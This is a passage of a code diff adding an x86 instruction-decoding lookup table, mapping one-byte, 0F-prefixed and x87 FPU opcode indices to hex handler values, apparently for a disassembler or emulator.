+ /* 95 - _95 */ 0x2085,
+ /* 96 - _96 */ 0x2086,
+ /* 97 - _97 */ 0x2087,
+ /* 98 - _98 */ 0x4002,
+ /* 99 - _99 */ 0x4003,
+ /* 9a - _9A */ 0x2088,
+ /* 9b - */ 0,
+ /* 9c - _9C */ 0x2089,
+ /* 9d - _9D */ 0x208a,
+ /* 9e - _9E */ 0x208b,
+ /* 9f - _9F */ 0x208c,
+ /* a0 - _A0 */ 0x208d,
+ /* a1 - _A1 */ 0x208e,
+ /* a2 - _A2 */ 0x208f,
+ /* a3 - _A3 */ 0x2090,
+ /* a4 - _A4 */ 0x2091,
+ /* a5 - _A5 */ 0x2092,
+ /* a6 - _A6 */ 0x2093,
+ /* a7 - _A7 */ 0x2094,
+ /* a8 - _A8 */ 0x2095,
+ /* a9 - _A9 */ 0x2096,
+ /* aa - _AA */ 0x2097,
+ /* ab - _AB */ 0x2098,
+ /* ac - _AC */ 0x2099,
+ /* ad - _AD */ 0x209a,
+ /* ae - _AE */ 0x209b,
+ /* af - _AF */ 0x209c,
+ /* b0 - _B0 */ 0x209d,
+ /* b1 - _B0 */ 0x209e,
+ /* b2 - _B0 */ 0x209f,
+ /* b3 - _B0 */ 0x20a0,
+ /* b4 - _B0 */ 0x20a1,
+ /* b5 - _B0 */ 0x20a2,
+ /* b6 - _B0 */ 0x20a3,
+ /* b7 - _B0 */ 0x20a4,
+ /* b8 - _B8 */ 0x20a5,
+ /* b9 - _B8 */ 0x20a6,
+ /* ba - _B8 */ 0x20a7,
+ /* bb - _B8 */ 0x20a8,
+ /* bc - _B8 */ 0x20a9,
+ /* bd - _B8 */ 0x20aa,
+ /* be - _B8 */ 0x20ab,
+ /* bf - _B8 */ 0x20ac,
+ /* c0 - _C0 */ 0x6228,
+ /* c1 - _C1 */ 0x6230,
+ /* c2 - _C2 */ 0x20ad,
+ /* c3 - _C3 */ 0x20ae,
+ /* c4 - _C4 */ 0x20af,
+ /* c5 - _C5 */ 0x20b0,
+ /* c6 - _C6 */ 0xa238,
+ /* c7 - _C7 */ 0xa280,
+ /* c8 - _C8 */ 0x20b1,
+ /* c9 - _C9 */ 0x20b2,
+ /* ca - _CA */ 0x20b3,
+ /* cb - _CB */ 0x20b4,
+ /* cc - _CC */ 0x20b5,
+ /* cd - _CD */ 0x20b6,
+ /* ce - _CE */ 0x20b7,
+ /* cf - _CF */ 0x20b8,
+ /* d0 - _D0 */ 0x62c8,
+ /* d1 - _D1 */ 0x62d0,
+ /* d2 - _D2 */ 0x62d8,
+ /* d3 - _D3 */ 0x62e0,
+ /* d4 - _D4 */ 0x20b9,
+ /* d5 - _D5 */ 0x20ba,
+ /* d6 - _D6 */ 0x20bb,
+ /* d7 - _D7 */ 0x20bc,
+ /* d8 - _D8 */ 0xa2e8,
+ /* d9 - _D9 */ 0xa330,
+ /* da - _DA */ 0xa378,
+ /* db - _DB */ 0xa3c0,
+ /* dc - _DC */ 0xa408,
+ /* dd - _DD */ 0xa450,
+ /* de - _DE */ 0xa498,
+ /* df - _DF */ 0xa4e0,
+ /* e0 - _E0 */ 0x20bd,
+ /* e1 - _E1 */ 0x20be,
+ /* e2 - _E2 */ 0x20bf,
+ /* e3 - _E3 */ 0x4004,
+ /* e4 - _E4 */ 0x20c0,
+ /* e5 - _E5 */ 0x20c1,
+ /* e6 - _E6 */ 0x20c2,
+ /* e7 - _E7 */ 0x20c3,
+ /* e8 - _E8 */ 0x20c4,
+ /* e9 - _E9 */ 0x20c5,
+ /* ea - _EA */ 0x20c6,
+ /* eb - _EB */ 0x20c7,
+ /* ec - _EC */ 0x20c8,
+ /* ed - _ED */ 0x20c9,
+ /* ee - _EE */ 0x20ca,
+ /* ef - _EF */ 0x20cb,
+ /* f0 - */ 0,
+ /* f1 - _F1 */ 0x20cc,
+ /* f2 - */ 0,
+ /* f3 - */ 0,
+ /* f4 - _F4 */ 0x20cd,
+ /* f5 - _F5 */ 0x20ce,
+ /* f6 - _F6 */ 0x6528,
+ /* f7 - _F7 */ 0x6530,
+ /* f8 - _F8 */ 0x20cf,
+ /* f9 - _F9 */ 0x20d0,
+ /* fa - _FA */ 0x20d1,
+ /* fb - _FB */ 0x20d2,
+ /* fc - _FC */ 0x20d3,
+ /* fd - _FD */ 0x20d4,
+ /* fe - _FE */ 0x6538,
+ /* ff - _FF */ 0x6540,
+ /* 100 - _0F_00 */ 0x6548,
+ /* 101 - _0F_01 */ 0xa550,
+ /* 102 - _0F_02 */ 0x20d5,
+ /* 103 - _0F_03 */ 0x20d6,
+ /* 104 - */ 0,
+ /* 105 - _0F_05 */ 0x20d7,
+ /* 106 - _0F_06 */ 0x20d8,
+ /* 107 - _0F_07 */ 0x20d9,
+ /* 108 - _0F_08 */ 0x20da,
+ /* 109 - _0F_09 */ 0x20db,
+ /* 10a - */ 0,
+ /* 10b - _0F_0B */ 0x20dc,
+ /* 10c - */ 0,
+ /* 10d - _0F_0D */ 0x6598,
+ /* 10e - _0F_0E */ 0x20dd,
+ /* 10f - _0F_0F */ 0x85a0,
+ /* 110 - _0F_10 */ 0xc6a0,
+ /* 111 - _0F_11 */ 0xc6ac,
+ /* 112 - _0F_12 */ 0xc6b8,
+ /* 113 - _0F_13 */ 0xc6c4,
+ /* 114 - _0F_14 */ 0xc6d0,
+ /* 115 - _0F_15 */ 0xc6dc,
+ /* 116 - _0F_16 */ 0xc6e8,
+ /* 117 - _0F_17 */ 0xc6f4,
+ /* 118 - _0F_18 */ 0x6700,
+ /* 119 - */ 0,
+ /* 11a - */ 0,
+ /* 11b - */ 0,
+ /* 11c - */ 0,
+ /* 11d - */ 0,
+ /* 11e - */ 0,
+ /* 11f - _0F_1F */ 0x20de,
+ /* 120 - _0F_20 */ 0x20df,
+ /* 121 - _0F_21 */ 0x20e0,
+ /* 122 - _0F_22 */ 0x20e1,
+ /* 123 - _0F_23 */ 0x20e2,
+ /* 124 - */ 0,
+ /* 125 - */ 0,
+ /* 126 - */ 0,
+ /* 127 - */ 0,
+ /* 128 - _0F_28 */ 0xc708,
+ /* 129 - _0F_29 */ 0xc714,
+ /* 12a - _0F_2A */ 0xc720,
+ /* 12b - _0F_2B */ 0xc72c,
+ /* 12c - _0F_2C */ 0xc738,
+ /* 12d - _0F_2D */ 0xc744,
+ /* 12e - _0F_2E */ 0xc750,
+ /* 12f - _0F_2F */ 0xc75c,
+ /* 130 - _0F_30 */ 0x20e3,
+ /* 131 - _0F_31 */ 0x20e4,
+ /* 132 - _0F_32 */ 0x20e5,
+ /* 133 - _0F_33 */ 0x20e6,
+ /* 134 - _0F_34 */ 0x20e7,
+ /* 135 - _0F_35 */ 0x20e8,
+ /* 136 - */ 0,
+ /* 137 - _0F_37 */ 0x20e9,
+ /* 138 - _0F_38 */ 0x8768,
+ /* 139 - */ 0,
+ /* 13a - _0F_3A */ 0x8868,
+ /* 13b - */ 0,
+ /* 13c - */ 0,
+ /* 13d - */ 0,
+ /* 13e - */ 0,
+ /* 13f - */ 0,
+ /* 140 - _0F_40 */ 0x20ea,
+ /* 141 - _0F_41 */ 0x20eb,
+ /* 142 - _0F_42 */ 0x20ec,
+ /* 143 - _0F_43 */ 0x20ed,
+ /* 144 - _0F_44 */ 0x20ee,
+ /* 145 - _0F_45 */ 0x20ef,
+ /* 146 - _0F_46 */ 0x20f0,
+ /* 147 - _0F_47 */ 0x20f1,
+ /* 148 - _0F_48 */ 0x20f2,
+ /* 149 - _0F_49 */ 0x20f3,
+ /* 14a - _0F_4A */ 0x20f4,
+ /* 14b - _0F_4B */ 0x20f5,
+ /* 14c - _0F_4C */ 0x20f6,
+ /* 14d - _0F_4D */ 0x20f7,
+ /* 14e - _0F_4E */ 0x20f8,
+ /* 14f - _0F_4F */ 0x20f9,
+ /* 150 - _0F_50 */ 0xc968,
+ /* 151 - _0F_51 */ 0xc974,
+ /* 152 - _0F_52 */ 0xc980,
+ /* 153 - _0F_53 */ 0xc98c,
+ /* 154 - _0F_54 */ 0xc998,
+ /* 155 - _0F_55 */ 0xc9a4,
+ /* 156 - _0F_56 */ 0xc9b0,
+ /* 157 - _0F_57 */ 0xc9bc,
+ /* 158 - _0F_58 */ 0xc9c8,
+ /* 159 - _0F_59 */ 0xc9d4,
+ /* 15a - _0F_5A */ 0xc9e0,
+ /* 15b - _0F_5B */ 0xc9ec,
+ /* 15c - _0F_5C */ 0xc9f8,
+ /* 15d - _0F_5D */ 0xca04,
+ /* 15e - _0F_5E */ 0xca10,
+ /* 15f - _0F_5F */ 0xca1c,
+ /* 160 - _0F_60 */ 0xca28,
+ /* 161 - _0F_61 */ 0xca34,
+ /* 162 - _0F_62 */ 0xca40,
+ /* 163 - _0F_63 */ 0xca4c,
+ /* 164 - _0F_64 */ 0xca58,
+ /* 165 - _0F_65 */ 0xca64,
+ /* 166 - _0F_66 */ 0xca70,
+ /* 167 - _0F_67 */ 0xca7c,
+ /* 168 - _0F_68 */ 0xca88,
+ /* 169 - _0F_69 */ 0xca94,
+ /* 16a - _0F_6A */ 0xcaa0,
+ /* 16b - _0F_6B */ 0xcaac,
+ /* 16c - _0F_6C */ 0xcab8,
+ /* 16d - _0F_6D */ 0xcac4,
+ /* 16e - _0F_6E */ 0xcad0,
+ /* 16f - _0F_6F */ 0xcadc,
+ /* 170 - _0F_70 */ 0xcae8,
+ /* 171 - _0F_71 */ 0x6af4,
+ /* 172 - _0F_72 */ 0x6afc,
+ /* 173 - _0F_73 */ 0x6b04,
+ /* 174 - _0F_74 */ 0xcb0c,
+ /* 175 - _0F_75 */ 0xcb18,
+ /* 176 - _0F_76 */ 0xcb24,
+ /* 177 - _0F_77 */ 0xcb30,
+ /* 178 - _0F_78 */ 0xcb3c,
+ /* 179 - _0F_79 */ 0xcb48,
+ /* 17a - _0F_7A */ 0x8b54,
+ /* 17b - */ 0,
+ /* 17c - _0F_7C */ 0xcc54,
+ /* 17d - _0F_7D */ 0xcc60,
+ /* 17e - _0F_7E */ 0xcc6c,
+ /* 17f - _0F_7F */ 0xcc78,
+ /* 180 - _0F_80 */ 0x20fa,
+ /* 181 - _0F_81 */ 0x20fb,
+ /* 182 - _0F_82 */ 0x20fc,
+ /* 183 - _0F_83 */ 0x20fd,
+ /* 184 - _0F_84 */ 0x20fe,
+ /* 185 - _0F_85 */ 0x20ff,
+ /* 186 - _0F_86 */ 0x2100,
+ /* 187 - _0F_87 */ 0x2101,
+ /* 188 - _0F_88 */ 0x2102,
+ /* 189 - _0F_89 */ 0x2103,
+ /* 18a - _0F_8A */ 0x2104,
+ /* 18b - _0F_8B */ 0x2105,
+ /* 18c - _0F_8C */ 0x2106,
+ /* 18d - _0F_8D */ 0x2107,
+ /* 18e - _0F_8E */ 0x2108,
+ /* 18f - _0F_8F */ 0x2109,
+ /* 190 - _0F_90 */ 0x210a,
+ /* 191 - _0F_91 */ 0x210b,
+ /* 192 - _0F_92 */ 0x210c,
+ /* 193 - _0F_93 */ 0x210d,
+ /* 194 - _0F_94 */ 0x210e,
+ /* 195 - _0F_95 */ 0x210f,
+ /* 196 - _0F_96 */ 0x2110,
+ /* 197 - _0F_97 */ 0x2111,
+ /* 198 - _0F_98 */ 0x2112,
+ /* 199 - _0F_99 */ 0x2113,
+ /* 19a - _0F_9A */ 0x2114,
+ /* 19b - _0F_9B */ 0x2115,
+ /* 19c - _0F_9C */ 0x2116,
+ /* 19d - _0F_9D */ 0x2117,
+ /* 19e - _0F_9E */ 0x2118,
+ /* 19f - _0F_9F */ 0x2119,
+ /* 1a0 - _0F_A0 */ 0x211a,
+ /* 1a1 - _0F_A1 */ 0x211b,
+ /* 1a2 - _0F_A2 */ 0x211c,
+ /* 1a3 - _0F_A3 */ 0x211d,
+ /* 1a4 - _0F_A4 */ 0x4005,
+ /* 1a5 - _0F_A5 */ 0x4006,
+ /* 1a6 - */ 0,
+ /* 1a7 - */ 0,
+ /* 1a8 - _0F_A8 */ 0x211e,
+ /* 1a9 - _0F_A9 */ 0x211f,
+ /* 1aa - _0F_AA */ 0x2120,
+ /* 1ab - _0F_AB */ 0x2121,
+ /* 1ac - _0F_AC */ 0x4007,
+ /* 1ad - _0F_AD */ 0x4008,
+ /* 1ae - _0F_AE */ 0x6c84,
+ /* 1af - _0F_AF */ 0x2122,
+ /* 1b0 - _0F_B0 */ 0x2123,
+ /* 1b1 - _0F_B1 */ 0x2124,
+ /* 1b2 - _0F_B2 */ 0x2125,
+ /* 1b3 - _0F_B3 */ 0x2126,
+ /* 1b4 - _0F_B4 */ 0x2127,
+ /* 1b5 - _0F_B5 */ 0x2128,
+ /* 1b6 - _0F_B6 */ 0x2129,
+ /* 1b7 - _0F_B7 */ 0x212a,
+ /* 1b8 - _0F_B8 */ 0xcc8c,
+ /* 1b9 - _0F_B9 */ 0x212b,
+ /* 1ba - _0F_BA */ 0x6c98,
+ /* 1bb - _0F_BB */ 0x212c,
+ /* 1bc - _0F_BC */ 0xcca0,
+ /* 1bd - _0F_BD */ 0xccac,
+ /* 1be - _0F_BE */ 0x212d,
+ /* 1bf - _0F_BF */ 0x212e,
+ /* 1c0 - _0F_C0 */ 0x212f,
+ /* 1c1 - _0F_C1 */ 0x2130,
+ /* 1c2 - _0F_C2 */ 0xccb8,
+ /* 1c3 - _0F_C3 */ 0x2131,
+ /* 1c4 - _0F_C4 */ 0xccc4,
+ /* 1c5 - _0F_C5 */ 0xccd0,
+ /* 1c6 - _0F_C6 */ 0xccdc,
+ /* 1c7 - _0F_C7 */ 0x6ce8,
+ /* 1c8 - _0F_C8 */ 0x2132,
+ /* 1c9 - _0F_C8 */ 0x2133,
+ /* 1ca - _0F_C8 */ 0x2134,
+ /* 1cb - _0F_C8 */ 0x2135,
+ /* 1cc - _0F_C8 */ 0x2136,
+ /* 1cd - _0F_C8 */ 0x2137,
+ /* 1ce - _0F_C8 */ 0x2138,
+ /* 1cf - _0F_C8 */ 0x2139,
+ /* 1d0 - _0F_D0 */ 0xccf0,
+ /* 1d1 - _0F_D1 */ 0xccfc,
+ /* 1d2 - _0F_D2 */ 0xcd08,
+ /* 1d3 - _0F_D3 */ 0xcd14,
+ /* 1d4 - _0F_D4 */ 0xcd20,
+ /* 1d5 - _0F_D5 */ 0xcd2c,
+ /* 1d6 - _0F_D6 */ 0xcd38,
+ /* 1d7 - _0F_D7 */ 0xcd44,
+ /* 1d8 - _0F_D8 */ 0xcd50,
+ /* 1d9 - _0F_D9 */ 0xcd5c,
+ /* 1da - _0F_DA */ 0xcd68,
+ /* 1db - _0F_DB */ 0xcd74,
+ /* 1dc - _0F_DC */ 0xcd80,
+ /* 1dd - _0F_DD */ 0xcd8c,
+ /* 1de - _0F_DE */ 0xcd98,
+ /* 1df - _0F_DF */ 0xcda4,
+ /* 1e0 - _0F_E0 */ 0xcdb0,
+ /* 1e1 - _0F_E1 */ 0xcdbc,
+ /* 1e2 - _0F_E2 */ 0xcdc8,
+ /* 1e3 - _0F_E3 */ 0xcdd4,
+ /* 1e4 - _0F_E4 */ 0xcde0,
+ /* 1e5 - _0F_E5 */ 0xcdec,
+ /* 1e6 - _0F_E6 */ 0xcdf8,
+ /* 1e7 - _0F_E7 */ 0xce04,
+ /* 1e8 - _0F_E8 */ 0xce10,
+ /* 1e9 - _0F_E9 */ 0xce1c,
+ /* 1ea - _0F_EA */ 0xce28,
+ /* 1eb - _0F_EB */ 0xce34,
+ /* 1ec - _0F_EC */ 0xce40,
+ /* 1ed - _0F_ED */ 0xce4c,
+ /* 1ee - _0F_EE */ 0xce58,
+ /* 1ef - _0F_EF */ 0xce64,
+ /* 1f0 - _0F_F0 */ 0xce70,
+ /* 1f1 - _0F_F1 */ 0xce7c,
+ /* 1f2 - _0F_F2 */ 0xce88,
+ /* 1f3 - _0F_F3 */ 0xce94,
+ /* 1f4 - _0F_F4 */ 0xcea0,
+ /* 1f5 - _0F_F5 */ 0xceac,
+ /* 1f6 - _0F_F6 */ 0xceb8,
+ /* 1f7 - _0F_F7 */ 0xcec4,
+ /* 1f8 - _0F_F8 */ 0xced0,
+ /* 1f9 - _0F_F9 */ 0xcedc,
+ /* 1fa - _0F_FA */ 0xcee8,
+ /* 1fb - _0F_FB */ 0xcef4,
+ /* 1fc - _0F_FC */ 0xcf00,
+ /* 1fd - _0F_FD */ 0xcf0c,
+ /* 1fe - _0F_FE */ 0xcf18,
+ /* 1ff - */ 0,
+ /* 200 - _80_00 */ 0x213a,
+ /* 201 - _80_01 */ 0x213b,
+ /* 202 - _80_02 */ 0x213c,
+ /* 203 - _80_03 */ 0x213d,
+ /* 204 - _80_04 */ 0x213e,
+ /* 205 - _80_05 */ 0x213f,
+ /* 206 - _80_06 */ 0x2140,
+ /* 207 - _80_07 */ 0x2141,
+ /* 208 - _81_00 */ 0x2142,
+ /* 209 - _81_01 */ 0x2143,
+ /* 20a - _81_02 */ 0x2144,
+ /* 20b - _81_03 */ 0x2145,
+ /* 20c - _81_04 */ 0x2146,
+ /* 20d - _81_05 */ 0x2147,
+ /* 20e - _81_06 */ 0x2148,
+ /* 20f - _81_07 */ 0x2149,
+ /* 210 - _82_00 */ 0x214a,
+ /* 211 - _82_01 */ 0x214b,
+ /* 212 - _82_02 */ 0x214c,
+ /* 213 - _82_03 */ 0x214d,
+ /* 214 - _82_04 */ 0x214e,
+ /* 215 - _82_05 */ 0x214f,
+ /* 216 - _82_06 */ 0x2150,
+ /* 217 - _82_07 */ 0x2151,
+ /* 218 - _83_00 */ 0x2152,
+ /* 219 - _83_01 */ 0x2153,
+ /* 21a - _83_02 */ 0x2154,
+ /* 21b - _83_03 */ 0x2155,
+ /* 21c - _83_04 */ 0x2156,
+ /* 21d - _83_05 */ 0x2157,
+ /* 21e - _83_06 */ 0x2158,
+ /* 21f - _83_07 */ 0x2159,
+ /* 220 - _8F_00 */ 0x215a,
+ /* 221 - */ 0,
+ /* 222 - */ 0,
+ /* 223 - */ 0,
+ /* 224 - */ 0,
+ /* 225 - */ 0,
+ /* 226 - */ 0,
+ /* 227 - */ 0,
+ /* 228 - _C0_00 */ 0x215b,
+ /* 229 - _C0_01 */ 0x215c,
+ /* 22a - _C0_02 */ 0x215d,
+ /* 22b - _C0_03 */ 0x215e,
+ /* 22c - _C0_04 */ 0x215f,
+ /* 22d - _C0_05 */ 0x2160,
+ /* 22e - _C0_06 */ 0x2161,
+ /* 22f - _C0_07 */ 0x2162,
+ /* 230 - _C1_00 */ 0x2163,
+ /* 231 - _C1_01 */ 0x2164,
+ /* 232 - _C1_02 */ 0x2165,
+ /* 233 - _C1_03 */ 0x2166,
+ /* 234 - _C1_04 */ 0x2167,
+ /* 235 - _C1_05 */ 0x2168,
+ /* 236 - _C1_06 */ 0x2169,
+ /* 237 - _C1_07 */ 0x216a,
+ /* 238 - _C6_00 */ 0x216b,
+ /* 239 - */ 0,
+ /* 23a - */ 0,
+ /* 23b - */ 0,
+ /* 23c - */ 0,
+ /* 23d - */ 0,
+ /* 23e - */ 0,
+ /* 23f - */ 0,
+ /* 240 - */ 0,
+ /* 241 - */ 0,
+ /* 242 - */ 0,
+ /* 243 - */ 0,
+ /* 244 - */ 0,
+ /* 245 - */ 0,
+ /* 246 - */ 0,
+ /* 247 - */ 0,
+ /* 248 - */ 0,
+ /* 249 - */ 0,
+ /* 24a - */ 0,
+ /* 24b - */ 0,
+ /* 24c - */ 0,
+ /* 24d - */ 0,
+ /* 24e - */ 0,
+ /* 24f - */ 0,
+ /* 250 - */ 0,
+ /* 251 - */ 0,
+ /* 252 - */ 0,
+ /* 253 - */ 0,
+ /* 254 - */ 0,
+ /* 255 - */ 0,
+ /* 256 - */ 0,
+ /* 257 - */ 0,
+ /* 258 - */ 0,
+ /* 259 - */ 0,
+ /* 25a - */ 0,
+ /* 25b - */ 0,
+ /* 25c - */ 0,
+ /* 25d - */ 0,
+ /* 25e - */ 0,
+ /* 25f - */ 0,
+ /* 260 - */ 0,
+ /* 261 - */ 0,
+ /* 262 - */ 0,
+ /* 263 - */ 0,
+ /* 264 - */ 0,
+ /* 265 - */ 0,
+ /* 266 - */ 0,
+ /* 267 - */ 0,
+ /* 268 - */ 0,
+ /* 269 - */ 0,
+ /* 26a - */ 0,
+ /* 26b - */ 0,
+ /* 26c - */ 0,
+ /* 26d - */ 0,
+ /* 26e - */ 0,
+ /* 26f - */ 0,
+ /* 270 - */ 0,
+ /* 271 - */ 0,
+ /* 272 - */ 0,
+ /* 273 - */ 0,
+ /* 274 - */ 0,
+ /* 275 - */ 0,
+ /* 276 - */ 0,
+ /* 277 - */ 0,
+ /* 278 - _C6_F8 */ 0x216c,
+ /* 279 - */ 0,
+ /* 27a - */ 0,
+ /* 27b - */ 0,
+ /* 27c - */ 0,
+ /* 27d - */ 0,
+ /* 27e - */ 0,
+ /* 27f - */ 0,
+ /* 280 - _C7_00 */ 0x216d,
+ /* 281 - */ 0,
+ /* 282 - */ 0,
+ /* 283 - */ 0,
+ /* 284 - */ 0,
+ /* 285 - */ 0,
+ /* 286 - */ 0,
+ /* 287 - */ 0,
+ /* 288 - */ 0,
+ /* 289 - */ 0,
+ /* 28a - */ 0,
+ /* 28b - */ 0,
+ /* 28c - */ 0,
+ /* 28d - */ 0,
+ /* 28e - */ 0,
+ /* 28f - */ 0,
+ /* 290 - */ 0,
+ /* 291 - */ 0,
+ /* 292 - */ 0,
+ /* 293 - */ 0,
+ /* 294 - */ 0,
+ /* 295 - */ 0,
+ /* 296 - */ 0,
+ /* 297 - */ 0,
+ /* 298 - */ 0,
+ /* 299 - */ 0,
+ /* 29a - */ 0,
+ /* 29b - */ 0,
+ /* 29c - */ 0,
+ /* 29d - */ 0,
+ /* 29e - */ 0,
+ /* 29f - */ 0,
+ /* 2a0 - */ 0,
+ /* 2a1 - */ 0,
+ /* 2a2 - */ 0,
+ /* 2a3 - */ 0,
+ /* 2a4 - */ 0,
+ /* 2a5 - */ 0,
+ /* 2a6 - */ 0,
+ /* 2a7 - */ 0,
+ /* 2a8 - */ 0,
+ /* 2a9 - */ 0,
+ /* 2aa - */ 0,
+ /* 2ab - */ 0,
+ /* 2ac - */ 0,
+ /* 2ad - */ 0,
+ /* 2ae - */ 0,
+ /* 2af - */ 0,
+ /* 2b0 - */ 0,
+ /* 2b1 - */ 0,
+ /* 2b2 - */ 0,
+ /* 2b3 - */ 0,
+ /* 2b4 - */ 0,
+ /* 2b5 - */ 0,
+ /* 2b6 - */ 0,
+ /* 2b7 - */ 0,
+ /* 2b8 - */ 0,
+ /* 2b9 - */ 0,
+ /* 2ba - */ 0,
+ /* 2bb - */ 0,
+ /* 2bc - */ 0,
+ /* 2bd - */ 0,
+ /* 2be - */ 0,
+ /* 2bf - */ 0,
+ /* 2c0 - _C7_F8 */ 0x216e,
+ /* 2c1 - */ 0,
+ /* 2c2 - */ 0,
+ /* 2c3 - */ 0,
+ /* 2c4 - */ 0,
+ /* 2c5 - */ 0,
+ /* 2c6 - */ 0,
+ /* 2c7 - */ 0,
+ /* 2c8 - _D0_00 */ 0x216f,
+ /* 2c9 - _D0_01 */ 0x2170,
+ /* 2ca - _D0_02 */ 0x2171,
+ /* 2cb - _D0_03 */ 0x2172,
+ /* 2cc - _D0_04 */ 0x2173,
+ /* 2cd - _D0_05 */ 0x2174,
+ /* 2ce - _D0_06 */ 0x2175,
+ /* 2cf - _D0_07 */ 0x2176,
+ /* 2d0 - _D1_00 */ 0x2177,
+ /* 2d1 - _D1_01 */ 0x2178,
+ /* 2d2 - _D1_02 */ 0x2179,
+ /* 2d3 - _D1_03 */ 0x217a,
+ /* 2d4 - _D1_04 */ 0x217b,
+ /* 2d5 - _D1_05 */ 0x217c,
+ /* 2d6 - _D1_06 */ 0x217d,
+ /* 2d7 - _D1_07 */ 0x217e,
+ /* 2d8 - _D2_00 */ 0x217f,
+ /* 2d9 - _D2_01 */ 0x2180,
+ /* 2da - _D2_02 */ 0x2181,
+ /* 2db - _D2_03 */ 0x2182,
+ /* 2dc - _D2_04 */ 0x2183,
+ /* 2dd - _D2_05 */ 0x2184,
+ /* 2de - _D2_06 */ 0x2185,
+ /* 2df - _D2_07 */ 0x2186,
+ /* 2e0 - _D3_00 */ 0x2187,
+ /* 2e1 - _D3_01 */ 0x2188,
+ /* 2e2 - _D3_02 */ 0x2189,
+ /* 2e3 - _D3_03 */ 0x218a,
+ /* 2e4 - _D3_04 */ 0x218b,
+ /* 2e5 - _D3_05 */ 0x218c,
+ /* 2e6 - _D3_06 */ 0x218d,
+ /* 2e7 - _D3_07 */ 0x218e,
+ /* 2e8 - _D8_00 */ 0x218f,
+ /* 2e9 - _D8_01 */ 0x2190,
+ /* 2ea - _D8_02 */ 0x2191,
+ /* 2eb - _D8_03 */ 0x2192,
+ /* 2ec - _D8_04 */ 0x2193,
+ /* 2ed - _D8_05 */ 0x2194,
+ /* 2ee - _D8_06 */ 0x2195,
+ /* 2ef - _D8_07 */ 0x2196,
+ /* 2f0 - _D8_C0 */ 0x2197,
+ /* 2f1 - _D8_C0 */ 0x2198,
+ /* 2f2 - _D8_C0 */ 0x2199,
+ /* 2f3 - _D8_C0 */ 0x219a,
+ /* 2f4 - _D8_C0 */ 0x219b,
+ /* 2f5 - _D8_C0 */ 0x219c,
+ /* 2f6 - _D8_C0 */ 0x219d,
+ /* 2f7 - _D8_C0 */ 0x219e,
+ /* 2f8 - _D8_C8 */ 0x219f,
+ /* 2f9 - _D8_C8 */ 0x21a0,
+ /* 2fa - _D8_C8 */ 0x21a1,
+ /* 2fb - _D8_C8 */ 0x21a2,
+ /* 2fc - _D8_C8 */ 0x21a3,
+ /* 2fd - _D8_C8 */ 0x21a4,
+ /* 2fe - _D8_C8 */ 0x21a5,
+ /* 2ff - _D8_C8 */ 0x21a6,
+ /* 300 - _D8_D0 */ 0x21a7,
+ /* 301 - _D8_D0 */ 0x21a8,
+ /* 302 - _D8_D0 */ 0x21a9,
+ /* 303 - _D8_D0 */ 0x21aa,
+ /* 304 - _D8_D0 */ 0x21ab,
+ /* 305 - _D8_D0 */ 0x21ac,
+ /* 306 - _D8_D0 */ 0x21ad,
+ /* 307 - _D8_D0 */ 0x21ae,
+ /* 308 - _D8_D8 */ 0x21af,
+ /* 309 - _D8_D9 */ 0x21b0,
+ /* 30a - _D8_D8 */ 0x21b1,
+ /* 30b - _D8_D8 */ 0x21b2,
+ /* 30c - _D8_D8 */ 0x21b3,
+ /* 30d - _D8_D8 */ 0x21b4,
+ /* 30e - _D8_D8 */ 0x21b5,
+ /* 30f - _D8_D8 */ 0x21b6,
+ /* 310 - _D8_E0 */ 0x21b7,
+ /* 311 - _D8_E0 */ 0x21b8,
+ /* 312 - _D8_E0 */ 0x21b9,
+ /* 313 - _D8_E0 */ 0x21ba,
+ /* 314 - _D8_E0 */ 0x21bb,
+ /* 315 - _D8_E0 */ 0x21bc,
+ /* 316 - _D8_E0 */ 0x21bd,
+ /* 317 - _D8_E0 */ 0x21be,
+ /* 318 - _D8_E8 */ 0x21bf,
+ /* 319 - _D8_E8 */ 0x21c0,
+ /* 31a - _D8_E8 */ 0x21c1,
+ /* 31b - _D8_E8 */ 0x21c2,
+ /* 31c - _D8_E8 */ 0x21c3,
+ /* 31d - _D8_E8 */ 0x21c4,
+ /* 31e - _D8_E8 */ 0x21c5,
+ /* 31f - _D8_E8 */ 0x21c6,
+ /* 320 - _D8_F0 */ 0x21c7,
+ /* 321 - _D8_F0 */ 0x21c8,
+ /* 322 - _D8_F0 */ 0x21c9,
+ /* 323 - _D8_F0 */ 0x21ca,
+ /* 324 - _D8_F0 */ 0x21cb,
+ /* 325 - _D8_F0 */ 0x21cc,
+ /* 326 - _D8_F0 */ 0x21cd,
+ /* 327 - _D8_F0 */ 0x21ce,
+ /* 328 - _D8_F8 */ 0x21cf,
+ /* 329 - _D8_F8 */ 0x21d0,
+ /* 32a - _D8_F8 */ 0x21d1,
+ /* 32b - _D8_F8 */ 0x21d2,
+ /* 32c - _D8_F8 */ 0x21d3,
+ /* 32d - _D8_F8 */ 0x21d4,
+ /* 32e - _D8_F8 */ 0x21d5,
+ /* 32f - _D8_F8 */ 0x21d6,
+ /* 330 - _D9_00 */ 0x21d7,
+ /* 331 - */ 0,
+ /* 332 - _D9_02 */ 0x21d8,
+ /* 333 - _D9_03 */ 0x21d9,
+ /* 334 - _D9_04 */ 0x21da,
+ /* 335 - _D9_05 */ 0x21db,
+ /* 336 - _D9_06 */ 0xcf24,
+ /* 337 - _D9_07 */ 0xcf30,
+ /* 338 - _D9_C0 */ 0x21dc,
+ /* 339 - _D9_C0 */ 0x21dd,
+ /* 33a - _D9_C0 */ 0x21de,
+ /* 33b - _D9_C0 */ 0x21df,
+ /* 33c - _D9_C0 */ 0x21e0,
+ /* 33d - _D9_C0 */ 0x21e1,
+ /* 33e - _D9_C0 */ 0x21e2,
+ /* 33f - _D9_C0 */ 0x21e3,
+ /* 340 - _D9_C8 */ 0x21e4,
+ /* 341 - _D9_C9 */ 0x21e5,
+ /* 342 - _D9_C8 */ 0x21e6,
+ /* 343 - _D9_C8 */ 0x21e7,
+ /* 344 - _D9_C8 */ 0x21e8,
+ /* 345 - _D9_C8 */ 0x21e9,
+ /* 346 - _D9_C8 */ 0x21ea,
+ /* 347 - _D9_C8 */ 0x21eb,
+ /* 348 - _D9_D0 */ 0x21ec,
+ /* 349 - */ 0,
+ /* 34a - */ 0,
+ /* 34b - */ 0,
+ /* 34c - */ 0,
+ /* 34d - */ 0,
+ /* 34e - */ 0,
+ /* 34f - */ 0,
+ /* 350 - */ 0,
+ /* 351 - */ 0,
+ /* 352 - */ 0,
+ /* 353 - */ 0,
+ /* 354 - */ 0,
+ /* 355 - */ 0,
+ /* 356 - */ 0,
+ /* 357 - */ 0,
+ /* 358 - _D9_E0 */ 0x21ed,
